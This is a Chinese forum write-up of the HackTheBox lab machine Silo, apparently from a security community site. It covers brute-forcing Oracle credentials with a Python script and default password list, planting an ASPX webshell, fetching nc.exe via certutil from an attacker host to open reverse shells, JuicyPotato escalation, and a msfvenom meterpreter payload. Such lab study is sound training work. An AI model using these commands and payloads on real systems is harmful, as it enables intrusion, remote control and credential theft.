电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 590 人浏览分享

HTB靶机渗透系列之Silo

[复制链接]
590 0
Silo是一个中等难度的靶机,知识点涉及Oracle密码爆破、进程提权以及烂土豆提权等 感兴趣的同学
可以在HackTheBox中进行学习。

1648747224_6245e2d8c1c16a6fe1ced.png

通关思维导图:

9998.png

0x01 侦查

端口探测

首先使用 nmap 对目标进行端口扫描

nmap -p- -sV -sC -A -T4 10.10.10.82 -oA nmap_Silo

9996.png

9993.png

9992.png

扫描结果显示目标开放了80、135、139、445、1521、5985等端口

80端口

访问后发现为IIS的默认界面,通过目录扫描并未发现敏感目录

9991.png

1521端口

1521端口默认为 Oracle 数据库,由于web端口并没有什么发现那么 Oracle 就成了重点关注对象

获取SID
针对 Oracle 数据库我们需要首先获取目标的SID,这里介绍两种方法:MSF 以及 odat

odat获取SID

首先下载安装 sqlplus 和 odat

apt install oracle-instantclient-sqlplus
apt install odat

使用 odat 获取SID,扫描结果显示 SID 为XE、XEXDB

odat sidguesser -s 10.10.10.82

9990.png

MSF获取SID

msfconsole
msf > use auxiliary/admin/oracle/sid_brute
msf > set rhosts 10.10.10.82
msf > run

9989.png

扫描结果中可发现 SID 存在四个,分别是XE、XEXDB、PLSExtProc和CLRExtProc
相对于 odat 来说 MSF 发现 SID 明显更多

爆破Oracle数据库

爆破 Oracle 账号密码可以使用 MSF 、odat 中关于 Oracle 爆破的相关模块,当然也可以使用自写脚本

自写脚本爆破

#!/usr/bin/env python

import cx_Oracle
import sys
from multiprocessing import Pool

MAX_PROC = 50
host = "10.10.10.82"
sid = "XE"

def usage():
    print("{} [ip] [wordlist]".format(sys.argv[0]))
    print("  wordlist should be of the format [username]:[password]")
    sys.exit(1)

def scan(userpass):
    u, p = userpass.split(':')[:2]
    try:
        conn = cx_Oracle.connect('{user}/{pass_}@{ip}/{sid}'.format(user=u, pass_=p, ip=host, sid=sid))
        return u, p, True
    except cx_Oracle.DatabaseError:
        return u, p, False


def main(host, userpassfile, nprocs=MAX_PROC):
    with open(userpassfile, 'r') as f:
       userpass = f.read().rstrip().replace('\r','').split('\n')

    pool = Pool(processes=nprocs)

    for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
        if status:
            print("Found {} / {}\n\n".format(username, pass_))
        else:
            sys.stdout.write("\r {}/{}                               ".format(username, pass_))

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
    main(sys.argv[1], sys.argv[2])

除了脚本以外还需要构造字典,以下为 Oracle 数据库默认用户和默认密码,使用它作为字典辅助爆破

9988.png

sys:change_on_install
system:manager
sysman:oem_temp
scott:tiger
aqadm:aqadm
Dbsnmp:dbsnmp

使用自写脚本进行爆破

python3 brute.py 10.10.10.82 userpass.txt

9987.png

成功获得账号密码:scott/tiger、Dbsnmp/dbsnmp

MSF爆破

msf > use auxiliary/admin/oracle/oracle_login
msf > set rhosts 10.10.10.82
msf > set sid XE
msf > run

9986.png

MSF也能够成功爆破出对应的账号密码

0x02 上线[defaultapppool]

数据库登录

使用 sqlplus 借助以上账号密码登录数据库

sqlplus scott/tiger@10.10.10.82:1521/XE

9985.png

但是默认情况下 scott 用户不是 sysdba 角色,通过SQL语句查询当前权限也验证了这一结果

select * from user_role_privs;

9984.png

但是我们可以借助as sysdba命令进行权限提升

sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba

执行过后发现当前权限已为 sysdba

9983.png

使用 odat 以 sysdba 权限查询 Oracle 数据库的利用点

odat all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba

9982.png

通过扫描结果可以发现目标存在tns投毒漏洞,与此同时我们还可以完成上传、下载文件等操作

上传木马

由于80端口为 IIS 的默认界面,那么猜测网站目录则为c:\inetpub\wwwroot
将asp版的 webshell 复制到当前目录下

cp /usr/share/webshells/aspx/cmdasp.aspx .

使用 odat 上传 webshell

odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --put
File C:\\inetpub\\wwwroot mac.aspx cmdasp.aspx

9981.png

但是访问后返回404

9980.png

猜测可能原因是 webshell 超过了其大小限制,我们可将其压缩

cat cmdasp.aspx | tr -d '\n'

100.png

压缩后再次上传,使用 sqlplus 进行上传

SQL> exec utlwritefile('C:/inetpub/wwwroot', 'shell1.aspx', '<%@ Page Language="C#" Debug="true" Tra
ce="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO"
%><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCm
d(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Argumentsc "+a
rg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamR
eader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Cli
ck(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(Exc
uteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><bodyasp:TextBox id="txtArg" runa
t="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnCl
ick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></f
orm></body></HTML>');

99.png

结果还是显示失败,原来是上传命令存在问题,可使用 dbmsxslprocessor 来进行上传

odat dbmsxslprocessor -s 10.10.10.82 -U scott -P tiger -d XE --putFile "C:\inetpub\www
root" "shell.aspx" "/usr/share/webshells/aspx/cmdasp.aspx" --sysdba

98.png

成功访问木马文件

97.png

反弹shell

上传 nc至服务器,首先需要在本地开启 http 服务

cp /usr/share/windows-resources/binaries/nc.exe .
ls
python -m SimpleHTTPServer 80

96.png

在本地监听6666端口

nc -nvlp 6666

通过 webshell 执行命令完成反弹

certutil.exe -urlcache -f http://10.10.14.7/nc.exe C:\WINDOWS\TEMP\nc.exe
C:\WINDOWS\TEMP\nc.exe 10.10.14.7 6666 -e cmd.exe

93.png

成功反弹shell,在当前用户桌面上成功找到第一个flag

dir c:\Users\Phineas\Desktop

type c:\Users\Phineas\Desktop\user.txt

92.png

同时桌面上还存在名为Oracle issue.txt文件,查看后发现其中包含一个密码

type "c:\Users\Phineas\Desktop\Oracle issue.txt"

91.png

0x03 权限提升[system]

手工内核提权

获取系统信息发现目标为 Windows Server 2012

90.png

使用 Windows-Exploit-Suggester 查找相关漏洞

python windows-exploit-suggester.py --database 2021-05-18-mss
b.xls  --systeminfo systeminfo.txt

89.png

和之前一样,还是优先选择烂土豆(Juicy Potato)进行提权,在本地开启nc监听

nc -nvlp 4444

靶机中输入命令传输提权程序并执行

certutil.exe -urlcache -f http://10.10.14.7/nc.exe C:\WINDOWS\TEMP\nc.exe
certutil.exe -urlcache -f http://10.10.14.7/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WIN
DOWS\TEMP\nc.exe -e cmd.exe 10.10.14.7 4444" -t *

88.png

86.png

成功拿到 system 权限,在管理员桌面下寻找第二个flag

dir c:\Users\Administrator\Desktop

type c:\Users\Administrator\Desktop\root.txt

83.png

成功获取到第二个flag

Oracle进程提权

判断Oracle运行权限

除了内核提权外还可以通过 Oracle 权限进行反弹,查看进程

tasklist /v

82.png

在进程中并未发现 Oracle 进程由哪个用户运行,但是我们可以尝试读取root.txt

odat ctxsys -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --getFile c:\\us
ers\\administrator\\desktop\\root.txt

81.png

结果显示可以读取 root.txt,说明 Oracle 进程为管理员权限及以上

借助MSF提权
使用 msfvenom 生成 exe 形式反弹木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7
LPORT=7777 -f exe -o shell.exe

80.png

使用 odat 上传木马并执行

odat utlfile -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --putFile \\TE
MP shell.exe ~/hackthebox/Silo/shell.exe
odat externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --sysdba --exec \\TEMP shell.exe

29.png

28.png

在本地监听7777端口后成功获得系统权限

msfconsole
msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set lhost 10.10.14.7
msf > set lport 7777
msf > run

26.png

总结

该靶机主要围绕Oracle数据进行利用,如果要对Oracle数据库进行爆破说先要获取SID,使用odat拿到SID后以默
认账号密码为字典可成功爆破数据库。使用爆破成功的账号密码登录数据库,将数据库用户提升为sysdba根据IIS
可推测站点的默认路径并将木马写入站点其中,通过木马执行反弹shell可成功获取用户权限。在靶机中存在两个
利用店,一是使用老生常谈的烂土豆进行内核提权可直接拿到系统权限;二是使用odat借助系统权限的Oracle进
程可完成系统提权。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.